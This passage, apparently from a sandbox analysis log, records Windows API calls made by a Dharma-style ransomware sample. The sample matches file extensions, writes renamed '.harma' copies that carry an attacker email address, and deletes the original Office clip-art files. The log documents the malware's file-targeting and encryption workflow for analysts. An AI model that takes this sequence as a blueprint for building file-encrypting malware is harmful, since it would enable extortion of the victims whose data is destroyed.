4 [0162.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.439] lstrlenW (lpString=".zip") returned 4 [0162.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.439] lstrlenW (lpString=".rar") returned 4 [0162.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.439] lstrlenW (lpString=".bz2") returned 4 [0162.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.439] lstrlenW (lpString=".7z") returned 3 [0162.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.440] lstrlenW (lpString=".dbf") returned 4 [0162.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.440] lstrlenW (lpString=".1cd") returned 4 [0162.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.440] lstrlenW (lpString=".jpg") returned 4 [0162.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.441] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0162.441] lstrlenW (lpString="J0099165.JPG") returned 12 [0162.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.441] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=50490) returned 1 [0162.442] CloseHandle (hObject=0x330) returned 1 [0162.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0162.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.442] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.442] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.443] GetLastError () returned 0x0 [0162.443] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xc53a, lpOverlapped=0x0) returned 1 [0162.460] WriteFile (in: hFile=0x398, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xc540, lpOverlapped=0x0) returned 1 [0162.462] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.463] WriteFile (in: hFile=0x398, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.463] SetEndOfFile (hFile=0x398) returned 1 [0162.463] CloseHandle (hObject=0x398) returned 1 [0162.463] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.463] SetEndOfFile (hFile=0x330) returned 1 [0162.467] CloseHandle (hObject=0x330) returned 1 [0162.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0162.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.513] lstrlenW (lpString=".doc") returned 4 [0162.513] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.513] lstrlenW (lpString=".docx") returned 5 [0162.513] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0162.513] lstrlenW (lpString=".pdf") returned 4 [0162.513] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.513] lstrlenW (lpString=".xls") returned 4 [0162.513] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.713] lstrlenW (lpString=".xlsx") returned 5 [0162.713] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0162.713] lstrlenW (lpString=".ppt") returned 4 [0162.713] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.713] lstrlenW (lpString=".zip") returned 4 [0162.713] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.713] lstrlenW (lpString=".rar") returned 4 [0162.713] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.713] lstrlenW (lpString=".bz2") returned 4 [0162.713] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.713] lstrlenW (lpString=".7z") returned 3 [0162.713] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.713] lstrlenW (lpString=".dbf") returned 4 [0162.713] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.713] lstrlenW (lpString=".1cd") returned 4 [0162.713] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.713] lstrlenW (lpString=".jpg") returned 4 [0162.713] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.714] lstrlenW (lpString=".doc") returned 4 [0162.714] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.714] lstrlenW (lpString=".docx") returned 5 [0162.714] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0162.714] lstrlenW (lpString=".pdf") returned 4 [0162.714] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.714] lstrlenW (lpString=".xls") returned 4 [0162.714] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.714] lstrlenW (lpString=".xlsx") returned 5 [0162.714] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0162.714] lstrlenW (lpString=".ppt") returned 4 [0162.714] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.714] lstrlenW (lpString=".zip") returned 4 [0162.714] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.714] lstrlenW (lpString=".rar") returned 4 [0162.715] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.715] lstrlenW (lpString=".bz2") returned 4 [0162.715] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.715] lstrlenW (lpString=".7z") returned 3 [0162.715] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.715] lstrlenW (lpString=".dbf") returned 4 [0162.715] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.715] lstrlenW (lpString=".1cd") returned 4 [0162.715] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0162.715] lstrlenW (lpString=".jpg") returned 4 [0162.715] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.715] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.715] lstrlenW (lpString="J0099171.WMF") returned 12 [0162.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.718] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8754) returned 1 [0162.718] CloseHandle (hObject=0x364) returned 1 [0162.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0162.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.899] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.899] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0162.902] GetLastError () returned 0x0 [0162.902] ReadFile (in: hFile=0x398, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2232, lpOverlapped=0x0) returned 1 [0162.956] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2240, lpOverlapped=0x0) returned 1 [0162.958] ReadFile (in: hFile=0x398, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.958] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.958] SetEndOfFile (hFile=0x33c) returned 1 [0162.958] CloseHandle (hObject=0x33c) returned 1 [0162.958] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.958] SetEndOfFile (hFile=0x398) returned 1 [0162.962] CloseHandle (hObject=0x398) returned 1 [0162.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.964] lstrlenW (lpString=".doc") returned 4 [0162.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".docx") returned 5 [0162.964] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0162.965] lstrlenW (lpString=".pdf") returned 4 [0162.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString=".xls") returned 4 [0162.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.965] lstrlenW (lpString=".xlsx") returned 5 [0162.965] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0162.965] lstrlenW (lpString=".ppt") returned 4 [0162.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.965] lstrlenW (lpString=".zip") returned 4 [0162.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.965] lstrlenW (lpString=".rar") returned 4 [0162.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString=".bz2") returned 4 [0162.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString=".7z") returned 3 [0162.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.965] lstrlenW (lpString=".dbf") returned 4 [0162.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.965] lstrlenW (lpString=".1cd") returned 4 [0162.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.965] lstrlenW (lpString=".jpg") returned 4 [0162.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.966] lstrlenW (lpString=".doc") returned 4 [0162.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.966] lstrlenW (lpString=".docx") returned 5 [0162.966] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0162.966] lstrlenW (lpString=".pdf") returned 4 [0162.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.966] lstrlenW (lpString=".xls") returned 4 [0162.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.966] lstrlenW (lpString=".xlsx") returned 5 [0162.966] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0162.966] lstrlenW (lpString=".ppt") returned 4 [0162.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.966] lstrlenW (lpString=".zip") returned 4 [0162.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.966] lstrlenW (lpString=".rar") returned 4 [0162.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.966] lstrlenW (lpString=".bz2") returned 4 [0162.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.966] lstrlenW (lpString=".7z") returned 3 [0162.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.967] lstrlenW (lpString=".dbf") returned 4 [0162.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.967] lstrlenW (lpString=".1cd") returned 4 [0162.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0162.967] lstrlenW (lpString=".jpg") returned 4 [0162.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.967] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.967] lstrlenW (lpString="J0099173.WMF") returned 12 [0162.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.968] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=37140) returned 1 [0162.968] CloseHandle (hObject=0x398) returned 1 [0162.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0162.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.969] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.969] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0162.970] GetLastError () returned 0x0 [0162.970] ReadFile (in: hFile=0x398, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x9114, lpOverlapped=0x0) returned 1 [0162.976] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9120, lpOverlapped=0x0) returned 1 [0162.978] ReadFile (in: hFile=0x398, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.978] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.978] SetEndOfFile (hFile=0x33c) returned 1 [0162.978] CloseHandle (hObject=0x33c) returned 1 [0162.978] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.978] SetEndOfFile (hFile=0x398) returned 1 [0162.982] CloseHandle (hObject=0x398) returned 1 [0162.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0162.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.984] lstrlenW (lpString=".doc") returned 4 [0162.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.984] lstrlenW (lpString=".docx") returned 5 [0162.984] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.984] lstrlenW (lpString=".pdf") returned 4 [0162.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.984] lstrlenW (lpString=".xls") returned 4 [0162.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.984] lstrlenW (lpString=".xlsx") returned 5 [0162.984] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.984] lstrlenW (lpString=".ppt") returned 4 [0162.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.984] lstrlenW (lpString=".zip") returned 4 [0162.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.984] lstrlenW (lpString=".rar") returned 4 [0162.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.984] lstrlenW (lpString=".bz2") returned 4 [0162.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.985] lstrlenW (lpString=".7z") returned 3 [0162.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.985] lstrlenW (lpString=".dbf") returned 4 [0162.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.985] lstrlenW (lpString=".1cd") returned 4 [0162.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.985] lstrlenW (lpString=".jpg") returned 4 [0162.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.985] lstrlenW (lpString=".doc") returned 4 [0162.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.985] lstrlenW (lpString=".docx") returned 5 [0162.985] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.985] lstrlenW (lpString=".pdf") returned 4 [0162.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.985] lstrlenW (lpString=".xls") returned 4 [0162.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.985] lstrlenW (lpString=".xlsx") returned 5 [0162.985] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.986] lstrlenW (lpString=".ppt") returned 4 [0162.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.986] lstrlenW (lpString=".zip") returned 4 [0162.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.986] lstrlenW (lpString=".rar") returned 4 [0162.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.986] lstrlenW (lpString=".bz2") returned 4 [0162.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.986] lstrlenW (lpString=".7z") returned 3 [0162.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.986] lstrlenW (lpString=".dbf") returned 4 [0162.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.986] lstrlenW (lpString="C:\\Program 